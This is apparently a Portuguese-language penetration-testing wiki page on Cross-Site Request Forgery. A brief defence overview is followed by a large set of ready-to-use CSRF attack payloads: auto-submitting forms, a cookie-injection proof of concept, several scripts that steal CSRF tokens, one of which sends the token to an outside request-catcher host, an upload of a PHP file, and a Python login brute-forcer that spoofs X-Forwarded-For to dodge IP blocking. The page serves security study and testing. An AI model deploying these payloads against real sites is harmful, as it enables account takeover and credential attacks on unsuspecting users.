CSRF (Cross Site Request Forgery)

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Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma da vítima, visita um site malicioso. Esse site então dispara requisições para a conta da vítima por meio de métodos como executar JavaScript, submeter formulários ou carregar imagens.

Prerequisites for a CSRF Attack

Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:

1. Identify a Valuable Action: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, o email ou elevar privilégios.
2. Session Management: A sessão do usuário deve ser gerida exclusivamente através de cookies ou do HTTP Basic Authentication header, pois outros headers não podem ser manipulados para esse propósito.
3. Absence of Unpredictable Parameters: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.

Quick Check

Você pode capturar a requisição no Burp e checar as proteções CSRF e, para testar a partir do navegador, você pode clicar em Copy as fetch e verificar a requisição:

Defending Against CSRF

Diversas contramedidas podem ser implementadas para proteger contra ataques CSRF:

• SameSite cookies: Esse atributo impede que o navegador envie cookies junto com requisições cross-site. More about SameSite cookies.
• Cross-origin resource sharing: A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer leitura da resposta do site da vítima. Learn about CORS bypass.
• Verificação do usuário: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
• Verificar os cabeçalhos Referrer ou Origin: Validar esses cabeçalhos pode ajudar a garantir que as requisições vêm de fontes confiáveis. Entretanto, a construção cuidadosa de URLs pode contornar verificações mal implementadas, por exemplo:
  • Usando http://mal.net?orig=http://example.com (a URL termina com a URL confiável)
  • Usando http://example.com.mal.net (a URL começa com a URL confiável)
• Modificar nomes de parâmetros: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
• CSRF Tokens: Incorporar um CSRF token único em cada sessão e exigir esse token nas requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada aplicando CORS.

Entender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web.

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

Algumas aplicações aplicam validação CSRF apenas em POST enquanto a ignoram para outros verbs. Um anti-pattern comum em PHP se parece com:

public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Se o endpoint vulnerável também aceita parâmetros de $_REQUEST, você pode reenviar a mesma ação como uma requisição GET e omitir o token CSRF por completo. Isso converte uma ação POST-only em uma ação GET que tem sucesso sem um token.

Exemplo:

• Original POST with token (intended):

POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]

• Bypass by switching to GET (no token):

GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notas:

• Esse padrão aparece frequentemente junto com reflected XSS quando as respostas são servidas incorretamente como text/html em vez de application/json.
• Combinar isso com XSS reduz muito as barreiras de exploração porque você pode entregar um único link GET que tanto aciona o caminho de código vulnerável quanto evita completamente as checagens CSRF.

Falta de token

Aplicações podem implementar um mecanismo para validar tokens quando estes estão presentes. No entanto, surge uma vulnerabilidade se a validação for completamente ignorada quando o token está ausente. Um atacante pode explorar isso removendo o parâmetro que carrega o token, não apenas seu valor. Isso permite contornar o processo de validação e conduzir um Cross-Site Request Forgery (CSRF) de forma eficaz.

CSRF token is not tied to the user session

Aplicações que não vinculam tokens CSRF às sessões dos usuários apresentam um risco de segurança significativo. Esses sistemas verificam tokens contra uma pool global em vez de garantir que cada token esteja ligado à sessão que o originou.

Veja como atacantes exploram isso:

1. Autenticar usando sua própria conta.
2. Obter um token CSRF válido da pool global.
3. Usar esse token em um ataque CSRF contra a vítima.

Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o mecanismo inadequado de validação de tokens da aplicação.

Method bypass

Se a requisição estiver usando um método "estranho", verifique se a funcionalidade de override de método está funcionando. Por exemplo, se estiver usando um PUT você pode tentar usar um POST e enviar: https://example.com/my/dear/api/val/num?_method=PUT

Isso também pode funcionar enviando o parâmetro _method dentro de uma requisição POST ou usando os headers:

• X-HTTP-Method
• X-HTTP-Method-Override
• X-Method-Override

Custom header token bypass

Se a requisição estiver adicionando um header customizado com um token como método de proteção CSRF, então:

• Teste a requisição sem o Token Customizado e também sem o header.
• Teste a requisição com um token diferente, de mesmo comprimento.

CSRF token is verified by a cookie

Aplicações podem implementar proteção CSRF duplicando o token tanto em um cookie quanto em um parâmetro de requisição, ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições checando se o token no parâmetro da requisição coincide com o valor do cookie.

No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida de iniciar o ataque CSRF.

Abaixo está um exemplo de como um ataque pode ser estruturado:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

Alteração do Content-Type

De acordo com this, para avoid preflight requisições usando o método POST estes são os valores de Content-Type permitidos:

• application/x-www-form-urlencoded
• multipart/form-data
• text/plain

No entanto, note que a lógica do servidor pode variar dependendo do Content-Type usado então você deve tentar os valores mencionados e outros como application/json,text/xml, application/xml.

Exemplo (de here) de enviar dados JSON como text/plain:

<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Contornando requisições preflight para dados JSON

Ao tentar enviar dados JSON via uma requisição POST, usar Content-Type: application/json em um formulário HTML não é diretamente possível. Da mesma forma, utilizar XMLHttpRequest para enviar esse tipo de conteúdo inicia uma requisição preflight. Ainda assim, existem estratégias para possivelmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:

1. Use Alternative Content Types: Empregue Content-Type: text/plain ou Content-Type: application/x-www-form-urlencoded definindo enctype="text/plain" no form. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type.
2. Modify Content Type: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com Content-Type: text/plain; application/json. Isso não dispara uma requisição preflight, mas pode ser processado corretamente pelo servidor se ele estiver configurado para aceitar application/json.
3. SWF Flash File Utilization: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar essas restrições. Para um entendimento mais aprofundado dessa técnica, consulte this post.

Contorno da verificação Referrer / Origin

Evitar o cabeçalho Referrer

Aplicações podem validar o 'Referer' header apenas quando ele está presente. Para impedir que o navegador envie esse header, a seguinte meta tag HTML pode ser usada:

<meta name="referrer" content="never">

Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.

Regexp bypasses

URL Format Bypass

Para definir o nome de domínio do servidor no URL que o Referrer vai enviar dentro dos parâmetros você pode fazer:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

Bypass do método HEAD

A primeira parte de this CTF writeup explica que o Oak's source code, um router, está configurado para handle HEAD requests as GET requests sem corpo de resposta — uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lide com requisições HEAD, elas são simplesmente entregues ao manipulador GET, mas a aplicação apenas remove o corpo da resposta.

Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente enviar uma requisição HEAD que será processada como uma requisição GET.

Exemplos de Exploração

Exfiltrando token CSRF

Se um CSRF token está sendo usado como defesa, você pode tentar exfiltrá-lo abusando de uma vulnerabilidade XSS ou de uma vulnerabilidade Dangling Markup.

GET usando tags HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Outras tags HTML5 que podem ser usadas para enviar automaticamente uma requisição GET são:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Requisição GET via formulário

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Requisição POST de formulário

<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Requisição POST de formulário através de iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Requisição Ajax POST

<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

Requisição POST multipart/form-data

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST requisição v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Requisição POST de formulário dentro de um iframe

<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Roubar CSRF Token e enviar uma requisição POST

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Roubar CSRF Token e enviar uma requisição Post usando um iframe, um form e Ajax

<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Roubar CSRF Token e enviar uma POST request usando um iframe e um form

<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Roubar token e enviá-lo usando 2 iframes

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token com Ajax e enviar um post com um form

<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF com Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

O código pode ser usado para Brut Force um formulário de login usando um CSRF token (também está usando o header X-Forwarded-For para tentar contornar um possível IP blacklisting):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Ferramentas

• https://github.com/0xInfection/XSRFProbe
• https://github.com/merttasci/csrf-poc-generator

Referências

• https://portswigger.net/web-security/csrf
• https://portswigger.net/web-security/csrf/bypassing-token-validation
• https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
• https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/